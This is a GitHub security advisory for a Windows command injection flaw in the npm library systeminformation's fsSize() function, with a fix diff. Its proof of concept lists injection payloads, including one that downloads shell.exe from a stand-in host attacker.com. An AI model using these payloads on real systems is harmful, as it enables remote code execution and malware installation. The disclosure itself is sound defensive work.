GitHub Advisoryadvisory · npm

GHSA-wphj-fx3q-84ch systeminformation has a Command Injection vulnerability in fsSize() function on Windows

HIGH Published 2025-12-16 Modified 2025-12-16 Official page ↗
Aliases
CVE-2025-68154
Ecosystem
npm
Packages
systeminformation
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-78
Reviewed
2025-12-16

Affected packages

• npm systeminformation: < 5.27.14 → fixed in 5.27.14

Description

Summary The `fsSize()` function in `systeminformation` is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. Affected Platforms: Windows only CVSS Breakdown: • Attack Vector (AV:N): Network - if used in a web application/API • Attack Complexity (AC:H): High - requires application to pass user input to `fsSize()` • Privileges Required (PR:N): None - no authentication required at library level • User Interaction (UI:N): None • Scope (S:U): Unchanged - executes within Node.js process context • Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited > Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. --- Details Vulnerable Code Location File: `lib/filesystem.js`, Line 197 ```javascript if (_windows) { try { const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`; util.powerShell(cmd).then((stdout, error) => { ``` The `drive` parameter is concatenated directly into the PowerShell command string without any sanitization. Why This Is a Vulnerability This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using `util.sanitizeShellString()`: | File | Line | Function | Sanitization | |------|------|----------|--------------| | `lib/processes.js` | 141 | `services()` | ✅ `util.sanitizeShellString(srv)` | | `lib/processes.js` | 1006 | `processLoad()` | ✅ `util.sanitizeShellString(proc)` | | `lib/network.js` | 1253 | `networkStats()` | ✅ `util.sanitizeShellString(iface)` | | `lib/docker.js` | 472 | `dockerContainerStats()` | ✅ `util.sanitizeShellString(containerIDs, true)` | | `lib/filesystem.js` | 197 | `fsSize()` | ❌ No sanitization | The `sanitizeShellString()` function (defined at `lib/util.js:731`) removes dangerous characters like `;`, `&`, `|`, `$`, `` ` ``, `#`, etc., which would prevent command injection. --- PoC Attack Scenario An application exposes disk information via an API and passes user input to `si.fsSize()`: ```javascript // Vulnerable application example const si = require('systeminformation'); const http = require('http'); const url = require('url'); http.createServer(async (req, res) => { const parsedUrl = url.parse(req.url, true); const drive = parsedUrl.query.drive; // User-controlled input // VULNERABLE: User input passed directly to fsSize() const diskInfo = await si.fsSize(drive); res.end(JSON.stringify(diskInfo)); }).listen(3000); ``` Exploitation Normal Request: ``` GET /api/disk?drive=C: ``` Malicious Request (Command Injection): ``` GET /api/disk?drive=C:;%20whoami%20%23 ``` Command Construction Demonstration The following demonstrates how commands are constructed with malicious input: Normal usage: ``` Input: "C:" Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl ``` With injection payload `C:; whoami #`: ``` Input: "C:; whoami #" Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl ↑ ↑ semicolon terminates # comments out rest first command ``` PowerShell will execute: 1. `Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C:` (original command) 2. `whoami` (injected command) 3. Everything after `#` is commented out PoC Script ```javascript /** • Command Injection PoC - systeminformation fsSize() • • Run with: node poc.js • Requires: npm install systeminformation */ const os = require('os'); // Simulates the vulnerable command construction from filesystem.js:197 function simulateVulnerableCommand(drive) { const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`; return cmd; } // Test payloads const payloads = [ { name: 'Normal', input: 'C:' }, { name: 'Command Execution', input: 'C:; whoami #' }, { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' }, { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' }, ]; console.log('=== Command Injection PoC ===\n'); console.log(`Platform: ${os.platform()}`); console.log(`Note: Actual exploitation requires Windows\n`); payloads.forEach(p => { console.log(`[${p.name}]`); console.log(` Input: ${p.input}`); console.log(` Command: ${simulateVulnerableCommand(p.input)}\n`); }); ``` PoC Output ``` === Command Injection PoC === Platform: win32 Note: Actual exploitation requires Windows [Normal] Input: C: Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl [Command Execution] Input: C:; whoami # Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl [Data Exfiltration] Input: C:; Get-Process | Out-File C:\temp\procs.txt # Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl [Remote Payload] Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl ``` As shown, the attacker's commands are injected directly into the PowerShell command string. --- Impact Who Is Affected? • Applications running `systeminformation` on Windows that pass user-controlled input to `fsSize(drive)` • Web applications, APIs, or CLI tools that accept drive letters from users • Monitoring dashboards that allow users to specify which drives to query Potential Attack Scenarios 1. Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges 2. Data Exfiltration - Read sensitive files and exfiltrate data 3. Privilege Escalation - If Node.js runs with elevated privileges 4. Lateral Movement - Use the compromised system to attack internal network 5. Ransomware Deployment - Download and execute malicious payloads --- Recommended Fix Apply `util.sanitizeShellString()` to the `drive` parameter, consistent with other functions in the codebase: ```diff if (_windows) { try { + const driveSanitized = drive ? util.sanitizeShellString(drive, true) : ''; • const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`; + const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`; util.powerShell(cmd).then((stdout, error) => { ``` The `true` parameter enables strict mode which removes additional characters like spaces and parentheses. --- `systeminformation` thanks developers working on the project. The Systeminformation Project hopes thi…

Related

Alias · CVE (1)

  • CVE-2025-68154 systeminformation is a System and OS information library for node.js. vulnerability

Weakness · CWE (1)

  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References